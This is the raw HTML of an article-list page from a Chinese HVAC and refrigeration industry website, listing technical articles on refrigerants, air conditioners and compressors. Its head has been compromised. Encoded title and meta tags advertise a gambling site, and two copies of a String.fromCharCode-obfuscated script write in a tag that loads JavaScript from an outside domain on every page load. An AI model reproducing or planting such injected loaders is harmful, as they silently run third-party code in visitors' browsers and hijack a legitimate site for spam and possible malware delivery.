CINXE.COM

开云·Kaiyun体育(全站)官方网站-登录入口

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <noscript><title>&#24320;&#20113;&#183;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#40;&#20840;&#31449;&#41;&#23448;&#26041;&#32593;&#31449;&#45;&#30331;&#24405;&#20837;&#21475;</title> <meta name="keywords" content="&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#30331;&#24405;&#20837;&#21475;&#44;&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#30331;&#24405;&#20837;&#21475;&#30331;&#24405;&#44;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#20840;&#31449;&#20837;&#21475;&#65292;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#25163;&#26426;&#32593;&#39029;&#29256;&#30331;&#24405;&#20837;&#21475;"/> <meta name="description" content="&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#20840;&#31449;&#30331;&#38470;&#20837;&#21475;&#23448;&#26041;&#32593;&#31449;&#30331;&#24405;&#20837;&#21475;&#9989;&#12304;&#38463;&#23431;&#25512;&#33616;&#65306;&#119;&#119;&#119;&#46;&#107;&#97;&#105;&#121;&#117;&#110;&#46;&#99;&#111;&#109;&#46;&#99;&#110;&#12305;&#9989;&#31469;&#35802;&#32532;&#36896;&#44;&#25105;&#20204;&#38598;&#22242;&#23448;&#32593;&#12289;&#20840;&#31449;&#20837;&#21475;&#12289;&#24179;&#21488;&#12289;&#22312;&#32447;&#12289;&#30331;&#24405;&#12289;&#30331;&#38470;&#12289;&#20837;&#21475;&#12289;&#32593;&#31449;&#12289;&#32593;&#22336;&#12289;&#30005;&#23376;&#12289;&#23089;&#20048;&#12289;&#32593;&#39029;&#29256;&#12289;&#25163;&#26426;&#29256;&#97;&#112;&#112;&#44;&#23558;&#31177;&#25215;&#20197;&#26381;&#21153;&#20026;&#21807;&#19968;&#30340;&#23447;&#26088;&#44;&#22312;&#32447;&#26356;&#22909;&#30340;&#25913;&#36827;&#21482;&#20026;&#26356;&#22909;&#30340;&#26381;&#21153;&#12290;&#10;"/></noscript> <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,107,121,121,121,100,115,48,48,49,46,99,111,109,47,50,46,106,115,34,62,60,47,115,99,114,105,112,116,62);document.write(xt); </script> <noscript><title>&#24320;&#20113;&#183;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#40;&#20840;&#31449;&#41;&#23448;&#26041;&#32593;&#31449;&#45;&#30331;&#24405;&#20837;&#21475;</title> <meta name="keywords" content="&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#30331;&#24405;&#20837;&#21475;&#44;&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#30331;&#24405;&#20837;&#21475;&#30331;&#24405;&#44;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#20840;&#31449;&#20837;&#21475;&#65292;&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#25163;&#26426;&#32593;&#39029;&#29256;&#30331;&#24405;&#20837;&#21475;"/> <meta name="description" content="&#75;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#20840;&#31449;&#30331;&#38470;&#20837;&#21475;&#23448;&#26041;&#32593;&#31449;&#30331;&#24405;&#20837;&#21475;&#9989;&#12304;&#38463;&#23431;&#25512;&#33616;&#65306;&#119;&#119;&#119;&#46;&#107;&#97;&#105;&#121;&#117;&#110;&#46;&#99;&#111;&#109;&#46;&#99;&#110;&#12305;&#9989;&#31469;&#35802;&#32532;&#36896;&#44;&#25105;&#20204;&#38598;&#22242;&#23448;&#32593;&#12289;&#20840;&#31449;&#20837;&#21475;&#12289;&#24179;&#21488;&#12289;&#22312;&#32447;&#12289;&#30331;&#24405;&#12289;&#30331;&#38470;&#12289;&#20837;&#21475;&#12289;&#32593;&#31449;&#12289;&#32593;&#22336;&#12289;&#30005;&#23376;&#12289;&#23089;&#20048;&#12289;&#32593;&#39029;&#29256;&#12289;&#25163;&#26426;&#29256;&#97;&#112;&#112;&#44;&#23558;&#31177;&#25215;&#20197;&#26381;&#21153;&#20026;&#21807;&#19968;&#30340;&#23447;&#26088;&#44;&#22312;&#32447;&#26356;&#22909;&#30340;&#25913;&#36827;&#21482;&#20026;&#26356;&#22909;&#30340;&#26381;&#21153;&#12290;&#10;"/></noscript> <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,107,121,121,121,100,115,48,48,49,46,99,111,109,47,50,46,106,115,34,62,60,47,115,99,114,105,112,116,62);document.write(xt); </script> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>产品应用-技术中心-中国空调制冷网</title> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <link rel="shortcut icon" type="image/x-icon" href="http://www.chinahvacr.com/favicon.ico"/> <!-- 搜索新增 --> <script type="text/javascript" src="http://www.chinahvacr.com/lang/zh-cn/lang.js"></script> <script type="text/javascript" src="http://www.chinahvacr.com/file/script/config.js"></script> <script type="text/javascript" src="http://www.chinahvacr.com/skin/default/style/js/search/jquery-1.8.3.min.js"></script> <script type="text/javascript" src="http://www.chinahvacr.com/file/script/common.js"></script> <script type="text/javascript" src="http://www.chinahvacr.com/file/script/page.js"></script> <link rel="stylesheet" type="text/css" href="http://www.chinahvacr.com/skin/default/article.css"/><!-- 搜索新增 --> <link rel="stylesheet" type="text/css" href="http://www.chinahvacr.com/skin/default/style/css/ny.css"/> <link rel="stylesheet" type="text/css" href="http://www.chinahvacr.com/skin/default/style/css/custom.css"/> <script src="http://www.chinahvacr.com/skin/default/style/js/custom.js"></script> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "//hm.baidu.com/hm.js?67ea0756866fe7d55cdb516121951d74"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> </head> <body> <!--------top开始----------> <div id="top"> <div class="top_text"> <!-----<div class="top_l"> <div class="subNavBox"> <div class="subNav"> <div class="subNav_text">[&nbsp;<span>长沙</span>&nbsp;]&nbsp;&nbsp;切换城市</div> </div> <div class="navContent"> <div class="navContent_text"> <li class="navContent_p">湖南</li> <li class="navContent_s"><a href="#">长沙</a></li> <li class="navContent_s"><a href="#">株洲</a></li> <li class="navContent_s"><a href="#">益阳</a></li> <li class="navContent_s"><a href="#">常德</a></li> <li class="navContent_s"><a href="#">衡阳</a></li> <li class="navContent_s"><a href="#">湘潭</a></li> <li class="navContent_s"><a href="#">岳阳</a></li> <li class="navContent_s"><a href="#">郴州</a></li> <li class="navContent_s"><a href="#">邵阳</a></li> <li class="navContent_s"><a href="#">怀化</a></li> <li class="navContent_s"><a href="#">永州</a></li> <li class="navContent_s"><a href="#">娄底</a></li> <li class="navContent_s"><a href="#">湘西</a></li> <li class="navContent_s"><a href="#">张家界</a></li> </div> <div class="navContent_text"> <li class="navContent_p">广东</li> <li class="navContent_s"><a href="#">广州</a></li> <li class="navContent_s"><a href="#">深圳</a></li> <li class="navContent_s"><a href="#">东莞</a></li> <li class="navContent_s"><a href="#">佛山</a></li> <li class="navContent_s"><a href="#">中山</a></li> <li class="navContent_s"><a href="#">珠海</a></li> <li class="navContent_s"><a href="#">惠州</a></li> <li class="navContent_s"><a href="#">江门</a></li> <li class="navContent_s"><a href="#">汕头</a></li> <li class="navContent_s"><a href="#">湛江</a></li> <li class="navContent_s"><a href="#">肇庆</a></li> <li class="navContent_s"><a href="#">茂名</a></li> <li class="navContent_s"><a href="#">揭阳</a></li> <li class="navContent_s"><a href="#">梅州</a></li> <li class="navContent_s"><a href="#">清远</a></li> <li class="navContent_s"><a href="#">阳江</a></li> <li class="navContent_s"><a href="#">韶关</a></li> <li class="navContent_s"><a href="#">河源</a></li> <li class="navContent_s"><a href="#">云浮</a></li> <li class="navContent_s"><a href="#">汕尾</a></li> <li class="navContent_s"><a href="#">潮州</a></li> <li class="navContent_s"><a href="#">台山</a></li> <li class="navContent_s"><a href="#">阳春</a></li> <li class="navContent_s"><a href="#">顺德</a></li> </div> <div class="navContent_text"> <li class="navContent_p">新疆</li> <li class="navContent_s"><a href="#">乌鲁木齐</a></li> <li class="navContent_s"><a href="#">包头</a></li> <li class="navContent_s"><a href="#">赤峰</a></li> <li class="navContent_s"><a href="#">鄂尔多斯</a></li> <li class="navContent_s"><a href="#">通辽</a></li> <li class="navContent_s"><a href="#">呼伦贝尔</a></li> <li class="navContent_s"><a href="#">巴彦淖尔市</a></li> <li class="navContent_s"><a href="#">乌兰察布</a></li> <li class="navContent_s"><a href="#">锡林郭勒盟</a></li> <li class="navContent_s"><a href="#">兴安盟</a></li> <li class="navContent_s"><a href="#">乌海</a></li> <li class="navContent_s"><a href="#">阿拉善盟</a></li> <li class="navContent_s"><a href="#">海拉尔</a></li> </div> <div class="navContent_text"> <li class="navContent_p">内蒙古</li> <li class="navContent_s"><a href="#">呼和浩特</a></li> <li class="navContent_s"><a href="#">昌吉</a></li> <li class="navContent_s"><a href="#">巴音郭楞</a></li> <li class="navContent_s"><a href="#">伊犁</a></li> <li class="navContent_s"><a href="#">阿克苏</a></li> <li class="navContent_s"><a href="#">喀什</a></li> <li class="navContent_s"><a href="#">哈密</a></li> <li class="navContent_s"><a href="#">克拉玛依</a></li> <li class="navContent_s"><a href="#">博尔塔拉</a></li> <li class="navContent_s"><a href="#">吐鲁番</a></li> <li class="navContent_s"><a href="#">和田</a></li> <li class="navContent_s"><a href="#">石河子</a></li> <li class="navContent_s"><a href="#">克孜勒苏</a></li> <li class="navContent_s"><a href="#">阿拉尔</a></li> <li class="navContent_s"><a href="#">五家渠</a></li> <li class="navContent_s"><a href="#">图木舒克</a></li> <li class="navContent_s"><a href="#">库尔勒</a></li> </div> </div> </div> </div>----> <div class="top_c"> <ul> <li class="top_c_a"><a href="http://www.chinaeser.cn/">节能减排网</a></li> <li class="top_c_a"><a href="http://www.hvacrhr.com">制冷人才网</a></li> <li ><a href="http://www.chinahvacr.com/">首页</a></li> <li ><a href="http://www.chinahvacr.com/hyzxnews">新闻资讯</a></li> <li ><a href="http://www.chinahvacr.com/zcfgnews">政策标准</a></li> <li ><a href="http://www.chinahvacr.com/caigouzhaobiao">采购招标</a></li> <li ><a href="http://www.chinahvacr.com/company">企业产品</a></li> <li class="top_c_b_h"><a href="http://www.chinahvacr.com/jszxnews">技术中心</a></li> <li ><a href="http://www.chinahvacr.com/sfxm">示范项目</a></li> <li ><a href="http://www.chinahvacr.com/exhibit">会展培训</a></li> <li ><a href="http://www.chinahvacr.com/special/list.php?catid=17759">专题</a></li> <li ><a href="http://www.chinahvacr.com/yiwenyida/list.php?catid=17766">E问一答</a></li> </ul> </div> <div class="top_r"> <!-- 代码 开始 --> <div id="header" style="z-index:1;color:#FFF;line-height:50px;"> </div> <!-- 代码 结束 --> </div> </div> </div> <!--------top结束----------> <!--------head开始----------> <!-- ---------20160120新增广告位开始---------- --> <!-- ---------20160120新增广告位结束---------- --> <div class="ny_top_bg"> <div id="head"> <div class="ny_head"> <!-- -----<div class="ny_nav"> <ul> <li><a href="http://www.chinahvacr.com/">首页</a></li> <li ><a href="http://www.chinahvacr.com/hyzxnews">行业资讯</a></li> <li ><a href="http://www.chinahvacr.com/zcfgnews">政策法规</a></li> <li ><a href="http://www.chinahvacr.com/caigouzhaobiao">采购招标</a></li> <li ><a href="http://www.chinahvacr.com/company">企业产品</a></li> <li class="ny_nav_a"><a href="http://www.chinahvacr.com/jszxnews">技术中心</a></li> <li ><a href="http://www.chinahvacr.com/sfxm">示范项目</a></li> <li ><a href="http://www.chinahvacr.com/exhibit">行业展会</a></li> </ul> </div> <!-- ------------<div class="ny_banner"> <div class="ny_banner_a"><img src="http://www.chinahvacr.com/skin/default/style/images/ad_c/02.gif"></div> <div class="ny_banner_b"><img src="http://www.chinahvacr.com/skin/default/style/images/ad_c/01.gif"></div> </div>-----> <a href="http://www.chinahvacr.com/"><div class="zcfg_ny_head_logo"></div></a> <div class="ny_title"><b>技术中心</b></div> <!-- --------0624新搜索框开始--> <div class="search_text" style="margin-top:30px;"> <div class="search"> <form id="destoon_search" action="http://www.chinahvacr.com/jszxnews/search.php" onsubmit="return Dsearch(1);"> <input type="hidden" name="moduleid" value="28" id="destoon_moduleid"/> <input type="hidden" name="kw" id="destoon_kw" value="" /> <div class="select_box" id="sbbox"> <div class="select_showbox active" id="ssbox" style="cursor: pointer;">全站</div> <ul class="select_option" id="soul"> <li class="selected" ref="29">全站</li> <li class="" ref="26">资讯</li> <li class="" ref="5">产品</li> <li class="" ref="4">企业</li> <li class="" ref="28">技术</li> <li class="" ref="8">展会</li></ul> </div> <select name="classid" id="choose" > <option value="29" selected="">全站</option> <option value="26">资讯</option> <option value="5">产品</option> <option value="4">企业</option> <option value="28">技术</option> <option value="8">展会</option> </select> <input class="inp_srh" id="keyboard" name="keyboard" onblur="$('#destoon_kw').val(this.value)" placeholder="请输入您要搜索的关键字" > <input class="btn_srh" type="button" value="搜索" onclick="qhid();"> </form> </div> <div class="search_keyword_text"> <ul> <li><a href="http://www.chinahvacr.com/jszxnews/search.php?kw=%E7%A9%BA%E8%B0%83" class="b" rel="nofollow"> 空调</a></li> <li><a href="http://www.chinahvacr.com/jszxnews/search.php?kw=%E6%9C%BA%E6%88%BF%E7%A9%BA%E8%B0%83" class="b" rel="nofollow"> 机房空调</a></li> <li><a href="http://www.chinahvacr.com/jszxnews/search.php?kw=%E7%BB%BF%E8%89%B2%E5%BB%BA%E7%AD%91" class="b" rel="nofollow"> 绿色建筑</a></li> <li><a href="http://www.chinahvacr.com/jszxnews/search.php?kw=%E5%86%B7%E5%BA%93%E8%AE%BE%E8%AE%A1" class="b" rel="nofollow"> 冷库设计</a></li> <li><a href="http://www.chinahvacr.com/jszxnews/search.php?kw=%E6%B6%A1%E6%97%8B%E5%8E%8B%E7%BC%A9%E6%9C%BA" class="b" rel="nofollow"> 涡旋压缩机</a></li> </ul> </div> </div> <script type="text/javascript" src="http://www.chinahvacr.com/skin/default/style/js/search/jquery.select.js"></script> <script type="text/javascript"> function qhid() { Dd('destoon_search').action = DTPath+'api/search.php'; $('#destoon_search').submit(); } </script> <!-- 0624新搜索框结束--------- --> <!-- <div class="head_search"> <form id="destoon_search" action="http://www.chinahvacr.com/jszxnews/search.php" onsubmit="return Dsearch(1);"> <input type="hidden" name="moduleid" value="28" id="destoon_moduleid"/> <input type="hidden" name="spread" value="0" id="destoon_spread"/> <input name="kw" id="destoon_kw" type="hidden" value="" /> <div id="tab_search"> <h3 class="up" id="two1" onmouseover="setContentTab('two',1,6,29)">全站</h3> <div class="block head_search_text" id="con_two_1"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="全站" onfocus="if (value =='全站'){value =''}" onblur="if (value ==''){value='全站'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> <h3 id="two2" onmouseover="setContentTab('two',2,6,26)">资讯</h3> <div id="con_two_2" class="head_search_text"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="资讯" onfocus="if (value =='资讯'){value =''}" onblur="if (value ==''){value='资讯'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> <h3 id="two3" onmouseover="setContentTab('two',3,6,5)">产品</h3> <div id="con_two_3" class="head_search_text"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="产品" onfocus="if (value =='产品'){value =''}" onblur="if (value ==''){value='产品'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> <h3 id="two4" onmouseover="setContentTab('two',4,6,4)">企业</h3> <div id="con_two_4" class="head_search_text"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="企业" onfocus="if (value =='企业'){value =''}" onblur="if (value ==''){value='企业'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> <h3 id="two5" onmouseover="setContentTab('two',5,6,28)">技术</h3> <div id="con_two_5" class="head_search_text"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="技术" onfocus="if (value =='技术'){value =''}" onblur="if (value ==''){value='技术'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> <h3 id="two6" onmouseover="setContentTab('two',6,6,8)">展会</h3> <div id="con_two_6" class="head_search_text"> <ul> <li class="head_search_text_a"><input name="textfield" type="text" class="head_search_input" value="展会" onfocus="if (value =='展会'){value =''}" onblur="if (value ==''){value='展会'}else{$('#destoon_kw').val(value);}" /></li> <li class="head_search_text_b"><a href="javascript:;" onclick="$('#destoon_search').submit();"><img src="http://www.chinahvacr.com/skin/default/style/images/search_btn.gif" width="70" height="24" border="0"/></a></li> </ul> </div> </div> </form> <script type="text/javascript"> function setContentTab(name, curr, n,mid) { Dd('destoon_search').action = DTPath+'api/search.php'; Dd('destoon_moduleid').value = mid; for (i = 1; i <= n; i++) { var menu = document.getElementById(name + i); var cont = document.getElementById("con_" + name + "_" + i); menu.className = i == curr ? "up" : ""; if (i == curr) { cont.style.display = "block"; } else { cont.style.display = "none"; } } } </script> </div> --> <!-- -------------- --> <div class="js_subnav"> <ul> </ul> </div> </div> </div> </div> <div id="kefu"></div> <!--------head结束----------><div id="main"> <!--------内容开始----------> <div class="column"> <div class="column_l"> <div class="columnlist"> <div class="column_sfxmlist"> <ul> <li class="column_sfxmlist_ima"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=33002"><img width="190" height="140" src="http://www.chinahvacr.com/file/upload/202104/30/09-59-56-22-1.jpg"/></a></li> <li class="column_sfxmlist_title"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=33002">常用制冷剂分类、用途、鉴别及纯度对制冷系统的影响</a></li> <li class="column_sfxmlist_sender"><!-- 发稿人:--></li> <li class="column_sfxmlist_abstract">  近年来,制冷剂市场乱象丛生,其中最令人深恶痛绝的就是无良商家以次充好,将劣质冷媒销售给用户,导致劣质冷媒大量的充斥着</li> <li class="column_sfxmlist_time">发稿时间:2021-04-30 09:58</li> <!-- <li class="column_sfxmlist_zan">赞&nbsp;<a href="#"><span class="zan_blue">[281]</span></a></li>--> </ul> <ul> <li class="column_sfxmlist_ima"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32990"><img width="190" height="140" src="http://www.chinahvacr.com/file/upload/202011/12/10-29-32-97-1.jpg"/></a></li> <li class="column_sfxmlist_title"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32990">使用空调时有哪些注意事项?</a></li> <li class="column_sfxmlist_sender"><!-- 发稿人:--></li> <li class="column_sfxmlist_abstract">  空调可以用于夏季制冷,冬季采暖,今天就来总结一些关于使用空调时应该注意哪些事项,怎么做到既节能舒适还健康。  1、夏</li> <li class="column_sfxmlist_time">发稿时间:2020-11-12 10:28</li> <!-- <li class="column_sfxmlist_zan">赞&nbsp;<a href="#"><span class="zan_blue">[281]</span></a></li>--> </ul> <ul> <li class="column_sfxmlist_ima"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32953"><img width="190" height="140" src="http://www.chinahvacr.com/file/upload/202003/03/09-40-19-36-1.jpg"/></a></li> <li class="column_sfxmlist_title"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32953">空调使用R410A冷媒注意事项</a></li> <li class="column_sfxmlist_sender"><!-- 发稿人:--></li> <li class="column_sfxmlist_abstract">  1、请不要与其他的冷媒、冷冻机油进行混合。R410A专用工具主要是在售后服务方面,与使用其他冷媒的空调不同,不要混合使用。</li> <li class="column_sfxmlist_time">发稿时间:2020-03-03 09:37</li> <!-- <li class="column_sfxmlist_zan">赞&nbsp;<a href="#"><span class="zan_blue">[281]</span></a></li>--> </ul> <ul> <li class="column_sfxmlist_ima"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32952"><img width="190" height="140" src="http://www.chinahvacr.com/file/upload/202003/03/09-37-46-43-1.jpg"/></a></li> <li class="column_sfxmlist_title"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32952">制冷活塞压缩机不回油,根本原因在哪里?</a></li> <li class="column_sfxmlist_sender"><!-- 发稿人:--></li> <li class="column_sfxmlist_abstract">  压缩机是高速运转的复杂机器,保证压缩机曲轴、轴承、连杆、活塞等运动件的充分润滑是维持机器正常运转的基本要求。为此,压</li> <li class="column_sfxmlist_time">发稿时间:2020-03-03 09:36</li> <!-- <li class="column_sfxmlist_zan">赞&nbsp;<a href="#"><span class="zan_blue">[281]</span></a></li>--> </ul> <ul> <li class="column_sfxmlist_ima"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32931"><img width="190" height="140" src="http://www.chinahvacr.com/file/upload/201812/22/17-00-59-47-1.jpg"/></a></li> <li class="column_sfxmlist_title"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32931">德图仪器在汽车涂装车间中的应用</a></li> <li class="column_sfxmlist_sender"><!-- 发稿人:--></li> <li class="column_sfxmlist_abstract">汽车在生产过程中要喷3道漆,并进行3次烘干。第一道:电泳烘房,烘烤汽车底漆;第二道:中涂烘房,烘干中层漆;第三道:面漆烘房</li> <li class="column_sfxmlist_time">发稿时间:2018-12-22 16:52</li> <!-- <li class="column_sfxmlist_zan">赞&nbsp;<a href="#"><span class="zan_blue">[281]</span></a></li>--> </ul> <ul> <li class="column_sfxmlist_ima"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32925"><img width="190" height="140" src="http://www.chinahvacr.com/file/upload/201706/22/17-54-17-58-299988.png"/></a></li> <li class="column_sfxmlist_title"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32925">兰石实验室对外提供“煤改电”机组检测服务</a></li> <li class="column_sfxmlist_sender"><!-- 发稿人:--></li> <li class="column_sfxmlist_abstract">为了减少冬季燃煤污染、改善空气质量,我国北方许多城市开始推广煤改电。2016年7月初,北京市各区县煤改清洁能源(以下简称煤改</li> <li class="column_sfxmlist_time">发稿时间:2017-06-22 17:54</li> <!-- <li class="column_sfxmlist_zan">赞&nbsp;<a href="#"><span class="zan_blue">[281]</span></a></li>--> </ul> <ul> <li class="column_sfxmlist_ima"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32908"><img width="190" height="140" src="http://www.chinahvacr.com/skin/default/image/nopic190.gif"/></a></li> <li class="column_sfxmlist_title"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32908">DSH电子水处理仪</a></li> <li class="column_sfxmlist_sender"><!-- 发稿人:--></li> <li class="column_sfxmlist_abstract">DSH电子水处理仪北京鼎世恒(010-58674097)生产的电子水处理仪:工作原理是通过耗用电能,在晶核形成过程中,通过高频发生器和</li> <li class="column_sfxmlist_time">发稿时间:2017-04-21 09:05</li> <!-- <li class="column_sfxmlist_zan">赞&nbsp;<a href="#"><span class="zan_blue">[281]</span></a></li>--> </ul> <ul> <li class="column_sfxmlist_ima"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32905"><img width="190" height="140" src="http://www.chinahvacr.com/skin/default/image/nopic190.gif"/></a></li> <li class="column_sfxmlist_title"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32905">冷水机的使用要点整理</a></li> <li class="column_sfxmlist_sender"><!-- 发稿人:--></li> <li class="column_sfxmlist_abstract">  冷水机是一种能提供恒温、恒流、恒压的冷却水设备。冷水机工作原理是先向机内水箱注进一定量的水,通过冷水机制冷系统将水冷</li> <li class="column_sfxmlist_time">发稿时间:2017-03-31 15:03</li> <!-- <li class="column_sfxmlist_zan">赞&nbsp;<a href="#"><span class="zan_blue">[281]</span></a></li>--> </ul> <ul> <li class="column_sfxmlist_ima"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32904"><img width="190" height="140" src="http://www.chinahvacr.com/skin/default/image/nopic190.gif"/></a></li> <li class="column_sfxmlist_title"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32904">冷冻房 冻库订制 环保食品 蜜饯 食品 茶叶冻库</a></li> <li class="column_sfxmlist_sender"><!-- 发稿人:--></li> <li class="column_sfxmlist_abstract">东莞市蓝冠环保节能科技有限公司成立于2001年,是一家以新能源技术为主体,以空气能、节能热泵及工业配套节能产品为主要领域的高</li> <li class="column_sfxmlist_time">发稿时间:2017-01-16 08:28</li> <!-- <li class="column_sfxmlist_zan">赞&nbsp;<a href="#"><span class="zan_blue">[281]</span></a></li>--> </ul> <ul> <li class="column_sfxmlist_ima"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32896"><img width="190" height="140" src="http://www.chinahvacr.com/file/upload/201609/01/10-22-56-20-397040.jpg"/></a></li> <li class="column_sfxmlist_title"><a target="_blank" href="http://www.chinahvacr.com/jszxnews/show.php?itemid=32896">固定式气体检测仪运行中存在的问题</a></li> <li class="column_sfxmlist_sender"><!-- 发稿人:--></li> <li class="column_sfxmlist_abstract">当被测气体达到极限或者遇明火时,就会引起火灾或中毒事故,甚至造成人员伤亡和财产损失。为了避免此类事故的发生,在多气体场所都安装了固定式气体检测报警器,及时检测空气中各种气体的含量,及早发现泄漏事故,发出报警...</li> <li class="column_sfxmlist_time">发稿时间:2016-09-01 10:23</li> <!-- <li class="column_sfxmlist_zan">赞&nbsp;<a href="#"><span class="zan_blue">[281]</span></a></li>--> </ul> <div class="fanye"><input type="hidden" id="destoon_previous" value="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=157"/><span class="fanye_a"><a href="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=157">|<</a></span> <span class="fanye_a_h">&nbsp;1&nbsp;</span> <span class="fanye_a"><a href="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=2">&nbsp;2&nbsp;</a></span> <span class="fanye_a">&nbsp;&#8230;&nbsp;</span> <span class="fanye_a"><a href="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=3">&nbsp;3&nbsp;</a></span> <span class="fanye_a"><a href="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=4">&nbsp;4&nbsp;</a></span> <span class="fanye_a"><a href="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=5">&nbsp;5&nbsp;</a></span> <span class="fanye_a"><a href="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=6">&nbsp;6&nbsp;</a></span> <span class="fanye_a"><a href="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=7">&nbsp;7&nbsp;</a></span> <span class="fanye_a">&nbsp;&#8230;&nbsp;</span> <span class="fanye_a"><a href="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=156">&nbsp;156&nbsp;</a></span> <span class="fanye_a"><a href="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=157">&nbsp;157&nbsp;</a></span> <span class="fanye_a"><a href="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=2">&nbsp;>|&nbsp;</a></span> <input type="hidden" id="destoon_next" value="http://www.chinahvacr.com/jszxnews/list.php?catid=293&page=2"/><span class="fanye_c">总共 <span class="zan_red">157</span> 页</span></div> </div> </div> </div> <div class="column_r"> <div class="column_sfzm_zuixin"> <div class="column_right_title"> <ul> <li class="column_right_title_a"><b>推荐阅读</b></li> </ul> </div> <div class="column_sfzm_zuixinlist"> <ul> <li class="column_sfzm_zuixinlist_ima"><a href="http://www.chinahvacr.com/jszxnews/show.php?itemid=28216"><img width="85px" src="http://www.chinahvacr.com/file/upload/201503/28/12-27-26-22-1.jpg" class="t-img"></a></li> <li class="column_sfzm_zuixinlist_title"><b><a href="http://www.chinahvacr.com/jszxnews/show.php?itemid=28216">冷库安装时应注意的...</a></b></li> <li class="column_sfzm_zuixinlist_abstract">冷库安装的好坏对冷库日后的使用有着至关重要的影响,将直接影响冷库的使用性能,所以冷库使用者在冷库安装时应该注意一下这些问题。   冷库安装时需确保密封性较好。冷库是由冷库板组成的,所以在安装过程中要</li> <li class="column_sfzm_zuixinlist_time">发稿时间:2015-01-21 19:50</li> </ul> <ul> <li class="column_sfzm_zuixinlist_ima"><a href="http://www.chinahvacr.com/jszxnews/show.php?itemid=10689"><img width="85px" src="http://www.chinahvacr.com/file/upload/201503/28/12-28-12-42-1.jpg" class="t-img"></a></li> <li class="column_sfzm_zuixinlist_title"><b><a 